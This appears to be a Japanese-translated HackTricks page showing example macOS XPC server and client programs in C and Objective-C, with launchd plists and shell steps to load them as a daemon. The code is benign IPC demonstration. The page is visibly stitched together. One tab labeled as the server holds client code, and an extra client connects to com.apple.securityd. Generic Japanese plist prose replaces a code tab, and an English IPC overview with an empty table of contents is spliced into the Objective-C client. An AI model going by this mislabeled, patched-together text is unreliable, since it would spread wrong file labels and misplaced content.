{% content-ref url="macos-xpc-authorization.md" %} macos-xpc-authorization.md {% endcontent-ref %}

Cコードの例

{% tabs %} {% tab title="xpc_server.c" %}

// gcc xpc_server.c -o xpc_server

#include <xpc/xpc.h>

static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);

// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");

// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);

// Clean up
xpc_release(response);
}
}

static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}

int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}

xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});

xpc_connection_resume(service);
dispatch_main();

return 0;
}

{% tab title="xpc_client.c" %}

#include <stdio.h>
#include <stdlib.h>
#include <xpc/xpc.h>

int main(int argc, const char * argv[]) {
    xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        
        if (type == XPC_TYPE_DICTIONARY) {
            const char *message = xpc_dictionary_get_string(event, "message");
            printf("Received message: %s\n", message);
        }
    });
    
    xpc_connection_resume(connection);
    
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(message, "message", "Hello from xpc_client");
    
    xpc_connection_send_message(connection, message);
    
    xpc_release(message);
    
    dispatch_main();
    
    return 0;
}

{% endtab %}

{% tab title="xpc_server.c" %}

// gcc xpc_client.c -o xpc_client

#include <xpc/xpc.h>

int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});

xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");

xpc_connection_send_message(connection, message);

dispatch_main();

return 0;
}

{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plistファイルは、macOSで実行されるサービスの設定ファイルです。このファイルは、サービスの起動時に使用されるパラメータや環境変数などの設定を含んでいます。このファイルを編集することで、サービスの動作をカスタマイズすることができます。

このファイルは、XML形式で記述されており、以下のような要素を含んでいます。

  • Label: サービスの識別子として使用される文字列です。
  • ProgramArguments: サービスが実行するコマンドやスクリプトのパスを指定します。
  • EnvironmentVariables: サービスが使用する環境変数を指定します。
  • RunAtLoad: サービスを起動時に自動的に実行するかどうかを指定します。
  • KeepAlive: サービスが異常終了した場合に自動的に再起動するかどうかを指定します。

このファイルを編集する際には、注意が必要です。間違った設定を行うと、サービスの動作に問題が生じる可能性があります。また、特権の昇格やセキュリティの脆弱性を引き起こす可能性もあるため、慎重に行う必要があります。

サービスの設定を変更する場合は、事前にバックアップを作成し、変更内容を慎重に検証してから適用することをおすすめします。{% endtab %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client

# Save server on it's location
cp xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist

# Call client
./xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server

ObjectiveCコードの例

{% tabs %} {% tab title="oc_xpc_server.m" %}

// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

@interface MyXPCObject : NSObject <MyXPCProtocol>
@end


@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end

@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end


@implementation MyDelegate

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];

MyXPCObject *my_object = [MyXPCObject new];

newConnection.exportedObject = my_object;

[newConnection resume];
return YES;
}
@end

int main(void) {

NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];

id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];

sleep(10); // Fake something is done and then it ends
}

{% tab title="oc_xpc_client.m" %}

// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];

[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];

[[NSRunLoop currentRunLoop] run];

return 0;
}

macOS IPC (Inter-Process Communication)

Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other and share data. In macOS, there are several IPC mechanisms available, including:

  • Mach Ports: Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages to each other and share resources.
  • UNIX Domain Sockets: UNIX domain sockets provide a communication channel between processes running on the same machine.
  • Distributed Objects: Distributed objects allow objects to be shared between processes using the Objective-C runtime.
  • XPC: XPC (eXtensible Procedure Call) is a lightweight IPC mechanism introduced in macOS 10.7. It allows processes to communicate with each other and perform remote procedure calls.

Understanding how IPC works in macOS is important for both security and privilege escalation. By exploiting vulnerabilities in IPC mechanisms, an attacker can gain unauthorized access to sensitive data or escalate their privileges on the system.

In this section, we will explore the different IPC mechanisms available in macOS and discuss potential security vulnerabilities and privilege escalation techniques associated with them. We will also cover best practices for securing IPC communications and mitigating potential risks.

Table of Contents

{% endtab %}

{% tab title="Untitled (日本語)" %}

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client

# Save server on it's location
cp oc_xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist

# Call client
./oc_xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server

参考文献

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